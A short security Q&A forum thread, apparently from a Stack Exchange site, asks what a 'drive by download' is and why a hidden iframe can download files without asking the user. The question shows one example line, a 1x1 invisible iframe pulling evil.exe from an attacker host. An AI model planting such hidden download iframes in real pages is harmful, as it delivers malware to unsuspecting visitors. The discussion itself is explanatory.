Does the definition of a drive by download include malicious execution of an unaccepted downloaded file or is the unaccepted download of a file the drive by download by itself? I didn't find a good/clear definition.

Why is it possible to download files with a hidden iframe, so the user isn't even asked if he wants to download it. Something like this:

<iframe src="https://attacker.com/evil.exe" width="1" height="1" frameborder="0"></iframe>

Isn't this way too risky?

1 Answer 1


I didn't find a good/clear definition. (in relation to the terminology "drive by download")

Terminology such as "drive by download" is typically up for interpretation, depending on the context. Though, when something is referenced that has to do with a "drive by", it usually means both download and execution.

Why is it possible to download files with a hidden iframe

This is considered a feature. This functionality is allowed because it may be considered for use by legitimate businesses and websites for legitimate purposes. It isn't necessarily considered a "security risk" because generally speaking it is safe to download a file, as long as you don't run it. (of course I'm not discounting the possibility of a 0day within the download methods of a web browser, but I wouldn't be concerned about that.) It's also important to note that some browsers do actually ask you if you'd like to download a file before beginning the download, such as firefox - in the form of asking you if you could like to save, open, or cancel.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .